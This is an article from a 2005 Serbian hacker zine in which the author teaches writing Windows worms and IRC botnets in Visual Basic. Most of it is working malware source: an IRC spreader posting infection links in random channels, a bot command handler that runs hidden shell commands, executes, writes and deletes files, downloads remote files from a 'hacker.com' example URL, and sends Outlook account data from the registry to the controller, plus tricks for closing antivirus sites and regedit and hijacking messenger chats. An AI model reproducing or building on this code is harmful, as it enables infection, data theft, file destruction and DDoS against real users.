Copy Link
Add to Bookmark
Report
1x06 Vx coding New Ideas
...................
...::: phearless zine #1 :::...
.....................>---[ Vx coding: New Ideas ]---<......................
........................>---[ by ACidCooKie ]---<..........................
viruskrew[at]yahoo[dot]com
SADRZAJ:
[1] Uvod
[2] Razrada
[3] Zakljucak
////////////////////////////////////////////////////////////////////////////
--==[ 1. Uvod
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Dakle posle mog lame tutora za vbs scripting ide jos jedan :) naravno
jos gluplji i dosadniji... hmm pa, verovatno ste culi o mom wormu sto sam
kodirao u VB... uff visualbasic... ne znam ali ja ga volim otkad sam poceo
da nesto ucim i radim uvek je on bio tu... i po meni je stvarno mocan... do
odredjene granice naravno... ali sto se tice kodiranja wormova za windows i
to... po meni je savrsen... Uglavnom u daljem textu cu pisati o nekim mojim
idejama i stvarima koje treba da se iskoriste ako zelite da pisete wormove,
jer u sustini sve je vec vidjeno i bitno je da napravite nesto sto jos niko
nije, sto je tesko... ali makar pokusajte ;)
Uglavnom bitno je da kad kodirate da ne kodirate stvari koje su vec
vidjene. Pokusajte izmisliti nesto novo, pa makar to novo predstavljalo i
milimetarski pomak u odnosu na danasnje wormove... Po meni je to najbitnije.
Ja iskreno nisam neki koder, ali me ovo interesuje vec dugo godina i trudim
se u tome, a kad se trudite dobijate i rezultate! Bitno je da zamislite
nesto a onda da to i ostvarite. Ja ne mogu sve da prenesem na papir, ali
potrudicu se da zapishem ono sto se setim ;) Ukoliko ste pocetnik u ovome,
nemojte ni pokusavati dalje da citate...
////////////////////////////////////////////////////////////////////////////
--==[ 2. Razrada
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Pa da pocnemo. U sustini, po meni, postoje dve podele kodiranje wormova:
prva je ona od koje nemate kotisti i ona od koje mozete da imate :) Ili
tacnije, da li pisete worma s ciljem da se sto vise prosiri i da nemate bas
nikakve koristi, tek tako da ostavi neku poruku ili otkud znam da npr. nekog
odredjenog datuma obrise ceo system... Ili ipak pisete worma sa delimicno
istim ciljem (da zarazi citavu planetu :)) ali da imate i neke koristi od
toga? Ja sam vise za ovu drugu, tj. to vam se zove BotNet, ili wormnet :D
ili tacnije puno zarazenih racunara koje vi kontrolisete sa jednog mesta,
kao sto su na primer troyanci (sub7 i ostala govna) ali to su Client / Server
stvari...1 to 1 (host to host) a ovo je sasvim nesto drugo.
Verovatno ste vidjali po mnogim sajtovima, forumima i slicno imena poput
"ForBot, SdBot, RBot" i slicno. To su sve wormovi koji iskoriscavaju neke
windows propuste: da li preko nekih fabrickih windows bugova ;) ili preko
neki socijal sirenja tipa emaila, irc i slicno. To varira od jedne do druge
vrste wormova. Uglavnom, iz dana u dan su sve mocniji i stalno ih autori
dopunjavaju.
Imate na netu raznih source codova tih wormova, i uglavnom svi su pisani
u C++. Ali, sve je to izvodljivo i u VB-u... Mnogi ih koriste za takozvane
Denial of Service napade DDOS, zato sto za vrlo kratko vreme mozete da imate
par hiljada mashina tj. kompjutera koje mozete da kontrolisete i da im
zadajete komande koje ce svi u isto vreme da izvrsavaju. Nadam se da Vam ovo
govori puno toga :) Pored toga sto mozete da zadate komandu tipa "ping
www.microsoft.com" mozete na primer otvoriti url na 5000 racunara i tamo da
se nalazi neki vas banner :) click to pay! hehe pa i da zaradite nesto :D
Otkud znam... mogucnosti su velike... samo treba da iskoristite to maximalno.
Ja sam nedavno pisao neki worm koji je bio sasvim nesto novo. Za nekih
sedam dana je zarazio oko 2000 racunara, a krenuo je samo sa jedne masine :)
/ - sest
/ - tri
/ - dva
jedan - \ - cetiri
\ - pet \ - sedam
\ - osam
itd... itd..
Vise o njemu imate na: http://www.elitesecurity.org/tema/70997
nemam sad zivaca da objasnjavam detaljno..
Uglavnom poceo sam da Vam pricam ovo zato sto verovatno dok zavrsim ovaj
tutor bice gotova i druga verzija, ili dok izadje ceo zine. Bitno je da u
pravi cas napravite pravu stvar ;) Pare se vise ne zaradjuju na lep i posten
nacin, vec na foru... pa tako i ovo.. ljude treba da iznenadite i tako da ih
upecate. Sto se tice Anti-Virusa... hmm pa vama nije u sustini ni bitno
jedan manje ili vishe racunar, uglavnom kad napishete neki worm novi AV ga
ne prepoznaje, a i da ga prepoznaje, mnogi nemaju instaliran nikakav AV, pa
tako da nije frka. Ali nikad nije na odmet neko killanje AV. O tome ima dosta
na netu, samo treba citati i raditi...
Ok pa da predjemo na nesto pametnije. Dosao sam na jednu ideju koja je
veoma prosta, a pritom korisna. Dakle, radi se o 'API Functions for Window's
Titles'. Hmm, svaki program ili sta vec ima svoj TITLE. Kad otvorite Regedit
gore pise 'Registry Editor', a to je ujedno i razlog zbog kojeg ja sad ovo
pricam. To bi nam bilo veoma korisno, jer tako bi mogli da killujemo svaku
aplikaciju neodgovarajuceg ili iritirajuceg :) imena...
Ukoliko je vas worm pokrenut na nekoj masini (skriven), i user pokrene
Regedit kako bi ga izbrisao iz registrya, vi jednostavno preko komande
SendKeys mozete da posaljete odredjeni kljuc, tj. taster. I ako worm prepozna
title moze da posalje kljuc tipa ALT+F (file) i onda X, i tako da ga zatvori.
Hmm zanimljivo a :) Ovo vam otvara neke nove ideje... da kao i meni sto je
otvorilo :D
Nema vise komandi i silnih kodova za Proccess Killovanje i gluposti :D
jednostavno, lako, a mnogo korisno... Dakle, kad sam dosao na tu ideju sinule
su mi mnoge druge. Na primer, ne morate da blokirate protoke prema nekim AV
sajtovima kako user ne bi stinuo neki remove tool za vas worm, vec mozete da
programirate worma da prepoznaje titlove browsera, tipa:
findav ("Sophos - anti-virus")
findav ("Microsoft Corporation")
findav ("Symantec Worldwide Home Page")
findav ("avast! antivirus software")
Mozete staviti kakav hocete text od jedne reci. Cim se pojavi jedan deo
texta kojeg ste vi zadali da trazi, onda mozete da mu posaljete SendKeys da
zatvori browser :D i tako zarazeni korisnik ne moze da otvori ni
www.google.com niti jednu drugu stranicu koju vi isprogramirate da blokira,
tj. da zatvara browser.
EEEee sad :D U mom wormu proslom, ako ste citali ili znate vec, sirio se
tako sto je otvarao Webserver na svakoj mashini i iskoriscavao je bug u IE,
tako da bilo ko poseti sajt (webserver usera zarazenog) automacki se zarazi,
ili ako koristi neki novi IE onda mu se ispise lista zanimljivih fajlova i
ako downloduje nesto, onda se opet inficira.
Ovo Vam pricam zbog tog WebServera - bitna stvar kod tog nacina sirenja
je reklamiranje samog url-a, tj. da pozovete sto vishe ljudi da poseti vas
sajt, odnosno IP zarazenog racunara: http://ipaddress:port
Opet sve ovo pricam zbog malo pre onoga sto sam pricao u vezi SendKeys. Ako
koristite ovu nazovimo :) moju metodu, vise vam nisu potrebne API funkcije
za messengere: MSN, ICQ, Mirandu, Yahoo msg... mislim na slanje poruka
preko njih. Zasto??? pa zato sto mozete da programirate worma da prepozna
Title od messengera:
'MSN
findmsn ("Conversation")
'ICQ
findicq ("Message Session")
'yahoo
findyahoo ("Instant Message")
Heh cool a :) Znaci ukoliko je worm aktivan ma mashini i inficirani user
pokusa da napise nekom poruku na ICQ na primer, cim worm prepozna title
"Message Session" automacki salje jednu od vasih programiranih poruka,
tipa "Hey druze vidi ovaj url sto je super http://ipadresa:port" :) i
ovaj pomisli da mu to salje drug i otovri utl tako se inficira. Znaci
prilikom otvaranje konverzije (chat boxa) worm posalje poruku i posalje
"ESC" znaci SendKeys "{ESC}", automacki zatvara prozor... :D
Niti je inficirani user video sta je poslao niti ista drugo, sve se
desava u jednoj sekundi. Isto tako ukoliko mu stigne poruka od nekoga, cim
pokusa da je vidi, desi se isto - worm salje poruku i zatvara pricanje. U
sustini ovo je jako korisno, jer ne morate da koristite silne linije koda da
bi ste postigli sta zelite :D Moj sledeci crv koji sad treba da ga zavrsim
za par dana ce da koristi sve messengere, na ovaj nacin. Uglavnom, rekao sam
vam sta mi je jedna od korisnih ideja. Takodje mozete ovo da iskoriscavate u
neke svrhe tipa kad se pojavi odredjeni title da se ispishe neka poruka
smesna, ili da se ukljuci neki keyloger, ili otkud znam... na vama je da
mastate :D Sourcecode od ovoga nisam postovo ovde, zato sto ga ima na netu.
Potrazite malo: 'API Functions for Window's Titles', ili sacekajte da objavim
source code worma. Vazno je da sam rekao za ideju :D
E sad ja opet forsiram tu pricu o reklamiranju tog url-a, tj. odredjene
poruke, ali *ebiga, ja ne znam drukcije kako da se worm proshiri osim na
ovako ove moje nacine :D
Ima jos nesto cega sam se setio :) Da da ne zaboravim ovo nije za baciti
sve :D, jer iz dana u dan izlaze nove IE greske, tj. bugovi, pa bitno je kao
sto sam rekao da sacekate odredjeni trenutak i iskodirate pravu stvar i onda
je pustite u pogon :D
E sad, kako kaze PandaLabs "could represent a new trend in malicious code
techniques" za moj worm, URL: http://www.vnunet.com/news/1158607
Dakle radi se o tome, mojoj ideji gde sam u wormu uneo naprimer 60 IRC
servera, i napravio sam jednostavno izlistavanje #soba rooms, i onda sam
zadao Random ulazenje u njih. Znaci ne ide redom 1,2,3,4,5 vec 1,4,2,1,5,7 i
tako dalje, i kad god udje u sobu kaze odredjeni text i izadje iz nje ;) tipa
"E angelina jolie se *ebe ovde :) http://ipadresa:port"
Bitno je da unesete i razne nicknameove sto ce worm da koristi, tipa:
Lista1 Nenad
Lista1 Marko
Lista1 Petar
Lista2 Markovic
Lista2 Nikolic
Lista2 Jevrosimovic
...i onda izmesate to (Randomize)... Lista1 + Lista2... kako bi ste dobili
vise kombinacija nickname-ova za koriscenje. E sad, izlistavanje soba sam
uradio u text box, i onda kad se zavrsi to, ide kod za ulazak i slanje
poruke. Evo primer: (da oko ovoga mi je pomogao (pcmaniac) hvala :)
On Error GoTo greska
Sleep 15
strsobe = txtHappening
lastfound = 0
Do
pos1 = InStr(lastfound + 1, strsobe, "#")
strsamosobe = strsamosobe + Mid(strsobe, pos1, InStr(pos1, strsobe, " ") - pos1)
lastfound = pos1
Loop While (InStr(lastfound + 1, strsobe, "#") > 0)
soba = Split(strsamosobe, "#")
For n = 1 To UBound(soba)
sobarnd = soba(Rnd * UBound(soba))
Randomize
Sleep 2
sckIRC.SendData "JOIN :#" & sobarnd & vbCrLf
Sleep 3
sckIRC.SendData "PRIVMSG #" & sobarnd & " :" & usemsgtosend & vbCrLf
Sleep 1
sckIRC.SendData "PART :#" & sobarnd & vbCrLf
Next n
sckIRC.SendData "QUIT" & vbCrLf
sckIRC.Close
Call irc
greska:
To je to... nadam se da nekom treba. Uglavnom, bitna stvar kod irc konekcije
jesu oni glupi botovi na serveru sto vam salju poruke tipa CTCP VERSION i
tako te stvari, kao proverava verziju software-a, a ako ne odgovorite on vas
killne sa servera i tako otkrivaju botove i ostalo... ali to je vrlo lako
zaobici, samo ja nisam imao vremena da se bahcem oko toga...
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
E sad idemo na nesto tipa backdoor. Ja sam kodirao jedan nacin kontrole
racunara preko IRC-a, zadavanjem komandi, sto je kod botnet-ova standard.
Uglavnom svi koriste takvu kontrolu. Taj deo mi je jako interesantan, zato
sto bukvalno mozete sve, samo treba Vam ispiracija :D Ja cu vam dati par
ideja sto sam ja stavljao u moj worm.
Kao prvo, bitno je da nadjete neki irc server na koji mogu botovi da se
konektuju, jer mnogi ce preko firewallova i sl. otkriti gde ide konekcija.
Ali bitno je da taj deo source coda gde bot ulazi u odredjenu #sobu na vasem
irc serveru kriptujete, ili bar sifru. Znaci ovaj deo "join #bots password",
kako drugi nebi mogli da vide to.
Posto, normalno, necete imati svoj irc server, vazno je napraviti da
ukoliko worm ne moze da se konektuje na jedan server, da odmah pokusa na
drugi sa liste, i tako redom. Ja sam kod mojih drugara vidjao #sobe po 10000
usera :D to nemozete da verujete... znaci 10000 mashina u jednoj sobi hheheh
:D i onda se na public daju komande tipa !ddos IPADRESA :D i onda kad svi
udare... stvori se ogroman PAKET/SEKUND :) strasno, uzmimo da svaki moze da
da maksimalno 3Kb/s (ali sigurno moze vise, pogotovo u razvijenim zemljama),
znaci 3 * 10000 = 30000 Kb ==> 30 megabajta!!!
Jos jedna stvar: kod kodiranja nicknamova kad se bot konektuje na server
ja sam stvar resio ovako:
Private Sub botSCK_Connect()
On Error Resume Next
Randomize
broj = Int(Rnd * 10000)
broj1 = Int(Rnd * 10000)
Sleep 2
botSCK.SendData "USER alo 0 * :haha" & broj & vbCrLf
botSCK.SendData "NICK SkyLove" & broj & broj1 & vbCrLf
Sleep 6
botSCK.SendData "JOIN :#code" & vbCrLf
End Sub
Gotovo je nemoguce da vam se desi da racunar generise nickname sa istim
brojem, tipa: "SkyLove{broj}{broj1}"
OK idemo dalje... Kod same konekcije bota na server bitno je da imate
odgovor na PING. Evo kako moj deo koda izgleda, kod same konekcije:
(uz izlaganje koda, ujedno cu i objasnjavati pojedine delove i detalje koda)
Private Sub botSCK_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim strData As String, arrData() As String, i As Long
Dim arrWords() As String, arrParms() As String
Dim arrRooms() As String
botSCK.GetData DataString, vbString
arrData = Split(DataString, vbCrLf)
For i = 0 To UBound(arrData) - 1
arrWords = Split(arrData(i), " ")
arrParms() = Split(arrData(i), ":")
arrRooms() = Split(arrData(i), "#")
memory = UCase$(arrWords(3))
For a = 4 To 99
msg = msg & arrWords(a) & " "
Next a
'******************************************
'ping pong
If UCase$(arrWords(0)) = "PING" Then
botSCK.SendData "PONG :" & arrParms(1) & vbCrLf
End If
Ovde vidite odgovor na PING .. worm prepoznaje rec PING i odgovara sa:
"PONG :" & odredjeni brojevi & arrParms(1). Kod irc-a je bitno na kraju
vbCrlf, zbog ENTERA, tj. da se posalje da bi server dobio poruku. Idemo
dalje. Ovde sam napravio da npr. na private botu kad kazete "!MYNICK BO1"
on cuva to u text box, i onda vam odgovara da je Vas nickname sacuvan u
njegovoj memoriji tj. u text boxu, kako bi mogao dalje da komunicira sa
vama...
If memory = ":!MYNICK" Then
Text1.Text = arrWords(4)
botSCK.SendData prvmsg & " :Your nick saved! Type !HELP" & vbCrLf
End If
'preskoci ako nema nick
If Text1.Text = "" Then
GoTo nemanick
End If
Ovo 'memory' je ustvari prepoznavanje text posle treceg razmaka sto vidite
gore: 'memory = UCase$(arrWords(3))'. Posle toga mozete napraviti neki help
meni, kao ovaj sto dajem nastavku koda. Ukoliko ukucate na private !HELP,
on vam izbaci ovako:
'help menu
If memory = ":!HELP" Then
botSCK.SendData prvmsg & " :******************** i-worm.vash worm :) help ********************" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :Ok hello :) This is worm help" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " : " & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :0. !HELP this menu" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :1. !MSG [send some critical msg]" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :2. !CHAT you can chat whit user :) start sesion" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " : !CHATCLOSE close chat sesion to user.." & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :3. !SYSINFO system information" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :4. !SHELL [any MS-DOS command]" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :5. !WRITE [path to file] [some text]" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " : Example: !WRITE C:\windows\desktop\read.txt luser fuck you" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :6. !EXE [path to file] < execute files" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :7. !KILL [path to file] < delete any file" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :8. !REBOOT brute force reboot user system :)" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :9. !DOWNFILE Download file from some url" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " : Example: !DOWNFILE http:\\www.hacker.com/name.exe C:\save\to\path.exe" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :********************** END HELP ***********************" & vbCrLf
End If
Ok, ovde uglavnom vidite neke komande koje sam ja stavio.. u ovoj mojoj
probnoj verziji worma, koje su mi najbitnije. Non stop se ponavlja Sleep 1.5
tj. pauza od sekund ipo. To sam stavio zbog moguceg detektovanja flood-a
bota, jer ako to server primeti, on vas moze diskonektovati zbog navodnog
"flooda" dok vam vas bot salje te informacije na private msg... E sad, dole
cu pokazati kodova za neke od ovih komandi, tj. kako sam ja to resavao:
'send msg
If memory = ":!MSG" Then
botSCK.SendData prvmsg & " :Message is SENT!!!" & vbCrLf
Sleep 2
MsgBox msg, vbCritical, "Fatal Error:"
botSCK.SendData prvmsg & " :User click 'OK'" & vbCrLf
End If
Ovo je prost kod za slanje poruka, gde vi kazete nesto tipa "!MSG pusi kitu
mom drugu titu :)". Vidite ovaj deo koda:
MsgBox msg, vbCritical, "Fatal Error:"
...ovaj 'msg' je gore naveden, tj. ima petlju da se stalno vrti. I tako sam
resio posle cetvrtog 4 razmaka " " da ide do 99, tj. da pamti ceo text koji
unesete. Idemo dalje. Chat konverziju sa userom sam napravio iz zezanja, ono
cisto eto :D resio sam je vrlo jednostavno. Morate kreirati jednu formu, new
window, iskljuciti Title Box i staviti da uvek stoji prva, (u ovom slucaju
'frmchat' i onda)...
'chat whit user
If memory = ":!CHATCLOSE" Then
frmchat.Text1.Text = ""
frmchat.Visible = False
botSCK.SendData prvmsg & " :***** Chat sesion to user CLOSED! *****" & vbCrLf
End If
If memory = ":!CHAT" Then
frmchat.Show
botSCK.SendData prvmsg & " :***** CHAT SESSION OPEN *****" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :Chat whit user like: !CHATSEND [text to send]" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :Don't forget to close session if you finish !CHATCLOSE" & vbCrLf
End If
If memory = ":!CHATSEND" Then
frmchat.Text1.Text = frmchat.Text1.Text & "Hacker: " & msg & vbCrLf
botSCK.SendData prvmsg & " :Your text received!" & vbCrLf
End If
Znaci jednostavna forma sa dva text boxa, jedan da sluzi za ispis poruke
koju saljete i drugi gde ce on da kuca poruku, i jedno dugme BUTTON, sa
kodom:
Private Sub Command1_Click()
frmirc.botSCK.SendData "PRIVMSG " & frmirc.Text1.Text & " :User send this text: " & Text2.Text & vbCrLf
Text1.Text = Text1.Text & "You: " & Text2.Text & vbCrLf
Text2.Text = ""
End Sub
Vrlo prosto! I tako mozete da caskate :D Jos nesto: ukoliko zelite da vam ta
forma stoji non stop ->prva<- evo mali kod:
Private Sub Form_Load()
Dim b As Boolean
b = SetWinPos(1, Me.hwnd)
End Sub
Bar radi na win98 :D verovatno i na XP. Zatim system informacije. To je onako
cisto neki mali info koji mozete da dopunite prema vasim idejama:
'system information
If memory = ":!SYSINFO" Then
For a = 1 To 9
ssmtp = wshShell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\0000000" & a & "\SMTP Server")
sname = wshShell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\0000000" & a & "\SMTP Display Name")
smail = wshShell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\0000000" & a & "\SMTP Email Address")
Next a
botSCK.SendData prvmsg & " :/ ******* SYSTEM INFORMATION ******* \" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :My local IP: " & botSCK.LocalIP & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " : Host Name: " & botSCK.LocalHostName & vbCrLf
Sleep 1.5
If ssmtp = "" Then
botSCK.SendData prvmsg & " :Can't find >> outlook << email info" & vbCrLf
Else
botSCK.SendData prvmsg & " :>>>>> Outlook info: <<<<<<" & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " : SMTP Server: " & ssmtp & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " : SMTP Display Name: " & sname & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " : SMTP Email Address: " & smail & vbCrLf
End If
botSCK.SendData prvmsg & " :My path is: " & App.Path & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :Now in my clock is: " & Time$ & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :Computer name: " & wshShell.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") & vbCrLf
Sleep 1.5
botSCK.SendData prvmsg & " :\ ******* END SYSTEM INFORMATION ******* /" & vbCrLf
End If
'******************************************
Uglavnom IP i host name cita iz winsock, Outlook config iz registrya kao sto
vidite, i tako... vrlo jednostavno. Shell komandu, tj. bilo koju MS-DOS
komandu tipa format C: ili sta vec, sam resio kreiranjem .bat fajla
pokretanjem i brisanjem:
'SHELL command
If memory = ":!SHELL" Then
Open App.Path & "\shell.bat" For Output As #1
Print #1, msg & "> shell.txt"
Close #1
Shell (App.Path & "\shell.bat"), vbHide
Kill (App.Path & "\shell.bat")
botSCK.SendData prvmsg & " :MS-DOS Command: [" & msg & "] executed!" & vbCrLf
End If
ok Evo jos par prostih kodova za pisanje fajla, pokretanje, brisanje...
'******************************************
'white file
If memory = ":!WRITE" Then
For a = 5 To 99
textmsg = textmsg & arrWords(a) & " "
Next a
Open arrWords(4) For Output As #1
Print #1, textmsg
Close #1
botSCK.SendData prvmsg & " :Your text saved to this file: " & arrWords(4) & vbCrLf
End If
'******************************************
'EXE execute
If memory = ":!EXE" Then
If fso.FileExists(arrWords(4)) Then
Shell (arrWords(4)), vbHide
botSCK.SendData prvmsg & " :File [" & arrWords(4) & "] executed! hidden" & vbCrLf
Else
botSCK.SendData prvmsg & " :User don't have this file:[" & arrWords(4) & "]" & vbCrLf
End If
End If
'******************************************
'KILL file
If memory = ":!KILL" Then
If fso.FileExists(arrWords(4)) Then
Kill (arrWords(4))
botSCK.SendData prvmsg & " :File [" & arrWords(4) & "] killed!" & vbCrLf
Else
botSCK.SendData prvmsg & " :User don't have this file:[" & arrWords(4) & "]" & vbCrLf
End If
End If
itd.itd.itd.. :D nikad kraja.. hehe :D..
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok, to je to uglavnom sto se tice botova i sranja. Dacu vam jos par
korisnih kodova sto sam nashao na netu. Veliki problem je Sleep, zbog svoje
LOOP metode u kojoj uzima 100% cpu... E sad tada dodje i do blokiranja na
momente celog systema, tj. zamrzne se komp. Nasao sam sleep koji uzima 100%
cpu-a ali radi perfekt - nista ne koci, i sto je najvaznije - ne zamrzava :D
To stavite u modul:
Public Sub Sleep(ByVal inWaitSeconds As Single)
Const WAIT_OBJECT_0 As Long = 0
Const WAIT_TIMEOUT As Long = &H102
Dim lastTick As Single
Dim timeout As Long
timeout = inWaitSeconds * 1000
lastTick = Timer
Do
Select Case MsgWaitForMultipleObjects(0, 0, False, timeout, 255)
Case WAIT_OBJECT_0
DoEvents
timeout = ((inWaitSeconds) - (Timer - lastTick)) * 1000
If timeout < 0 Then timeout = 0
Case Else
Exit Do
End Select
Loop While True
End Sub
I ovo Vam je bitno da stavite skroz gore na TOP coda modula:
'Private Declare Function MsgWaitForMultipleObjects Lib "user32"
(ByVal nCount As Long, pHandles As Long, ByVal fWaitAll As Long,
ByVal dwMilliseconds As Long, ByVal dwWakeMask As Long) As Long'
kako bi sve to radilo kako treba :D
-----------------------------------------------------
Druga korisna stvar je (ako vam zatreba) kod koji proverava svakih par
minuta internet konekciju. Ukoliko pravite worma, ubacite ovaj deo koda
na primer u winsock error, da bi on pozvao ovaj sub i da bi proverio da li
postoji konekcija. Ovo je bitno da ne bi doslo do neke greske u wormu ako
user nije vise konektovan. Ovo ide u modul isto:
Sub checknet()
On Error Resume Next
Dim m, s
proverinet:
If InternetGetConnectedState(0&, 0&) = 1 Then
GoTo okNETaktiviran
Else
GoTo opetnetprovera
End If
'ako nisi na netu idi opet na proveru
opetnetprovera:
Do
m = Minute(Now)
s = Second(Now)
If m = 0 And s = 0 Then GoTo proverinet
If m = 3 And s = 0 Then GoTo proverinet
If m = 5 And s = 0 Then GoTo proverinet
If m = 8 And s = 0 Then GoTo proverinet
If m = 10 And s = 0 Then GoTo proverinet
If m = 13 And s = 0 Then GoTo proverinet
If m = 15 And s = 0 Then GoTo proverinet
If m = 18 And s = 0 Then GoTo proverinet
If m = 20 And s = 0 Then GoTo proverinet
If m = 23 And s = 0 Then GoTo proverinet
If m = 25 And s = 0 Then GoTo proverinet
If m = 28 And s = 0 Then GoTo proverinet
If m = 30 And s = 0 Then GoTo proverinet
If m = 32 And s = 0 Then GoTo proverinet
If m = 35 And s = 0 Then GoTo proverinet
If m = 38 And s = 0 Then GoTo proverinet
If m = 40 And s = 0 Then GoTo proverinet
If m = 42 And s = 0 Then GoTo proverinet
If m = 45 And s = 0 Then GoTo proverinet
If m = 48 And s = 0 Then GoTo proverinet
If m = 50 And s = 0 Then GoTo proverinet
If m = 53 And s = 0 Then GoTo proverinet
If m = 55 And s = 0 Then GoTo proverinet
If m = 58 And s = 0 Then GoTo proverinet
DoEvents
Loop
okNETaktiviran:
msgbox "ovde ide komanda koju ocete.. ukoliko je net aktivan"
End Sub
Takodje ovo nece raditi ako ovo ne stavite gore na top modula:
'Public Declare Function InternetGetConnectedState Lib "wininet.dll"
(ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long'
-----------------------------------------------------
Jos jedan kod, koji vam mozda zatreba, a to je pronalazenje odredjenog
stringa, tj. text u nekom text boxu... To vam je za one pretrage sa SendKeys
i titlovima. Ja sam napravio da titlove aktivnih programa cuva u text boxu,
pa onda kod izgleda ovako:
Function findav(a As String) As Boolean
Dim b As Integer
b = InStr(Text2, a)
If b > 0 Then
Sleep 1
SendKeys "%F"
SendKeys "c"
SendKeys "%F"
SendKeys "x"
End If
End Function
Radi tako sto zadajete komandu tipa "findav("ludilo")" i ako nadje na rec
ludilo u textboxu, onda uradi isprogramirani posao, ili u drugom slucaju
ne radi nista.
=====================================================================
--== {3. Zakljucak :D
=====================================================================
E pa dragi moji to vam je to otprilike... Stvarno ne mogu vise da kucam
i razmisljam. Danas je 05.02.2005 tako da sam zavrshio i ovo. Uglavnom to
su neki sitni korisni kodovi i tako ideje neke i otkud znam... u sledecem
zinu cu pisati nesto novo i tako do tada... :D uzivajte i napravite nesto
novo.. ako imate neke ideje, predloge i/ili primedbe i ostalo saljite na
viruskrew@yahoo.com...
Veliki pozdrav za sve moje projatelje kako odavde tako i odande :D, tj.
za ceo II-LABS.org team pogotovo za BoyScout-a, onda ceo BihNet.org team,
m0f0, eman, morphine i ostalu ekipu koja posecuje forum...mog druga e[a]x-a,
ceo VirusKrew... DTM, phreak, Dominus... i naravno da nezaboravim lame forum
ES :D salim se heh... Hmm poz za naravno: #secure, #ugs :) // krstarica hehe
ACIdCooKie / CooKie / BO1 / from Serbia ;) | VIRUSKREW